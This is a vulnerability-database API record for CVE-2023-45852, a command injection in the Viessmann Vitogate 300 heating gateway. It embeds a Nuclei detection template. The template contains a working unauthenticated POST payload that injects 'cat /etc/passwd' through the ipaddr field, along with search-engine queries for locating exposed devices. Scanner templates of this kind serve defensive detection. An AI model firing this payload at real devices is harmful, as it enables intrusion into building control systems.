{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-45852/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-45852/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-45852/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-45852/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-45852/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-45852"},"sightings":{"href":"/api/v1/sightings/cve-2023-45852"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-45852.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-45852\n\ninfo:\n  name: Viessmann Vitogate 300 - Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.\n  impact: |\n    Unauthenticated attackers can execute arbitrary commands with elevated privileges through shell metacharacters in the ipaddr parameter, potentially compromising the heating control gateway and accessing building management systems.\n  remediation: |\n    Update Viessmann Vitogate 300 firmware to a version newer than 2.1.3.0 that properly sanitizes the ipaddr parameter and prevents command injection through the JSON API.\n  reference:\n    - https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html\n    - https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-45852\n    - https://github.com/tanjiti/sec_profile\n    - https://github.com/komodoooo/Some-things\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-45852\n    cwe-id: CWE-77\n    epss-score: 0.14003\n    epss-percentile: 0.9642\n    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: viessmann\n    product: vitogate_300_firmware\n    shodan-query:\n      - title:\"Vitogate 300\"\n      - http.title:\"vitogate 300\"\n    fofa-query:\n      - title=\"Vitogate 300\"\n      - title=\"vitogate 300\"\n    google-query: intitle:\"vitogate 300\"\n  tags: cve2023,cve,rce,vitogate,viessmann,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/vitogate.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"method\":\"put\",\"form\":\"form-4-8\",\"session\":\"\",\"params\":{\"ipaddr\":\"{{randstr}};cat /etc/passwd\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(header, \"application/json\")'\n          - 'contains_all(body, \"traceroute: {{randstr}}: Unknown host\", \"daemon:x:1:1:\")'\n        condition: and\n# digest: 4b0a00483046022100db64056bc6fe5532bcc00007f1186de3b530414a66a4a3ce6b756ea51aeee73502210092122a32740f598eebbd83367b1f38d4c580c3d239f43b51cd41302d8df8b380:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-45852"}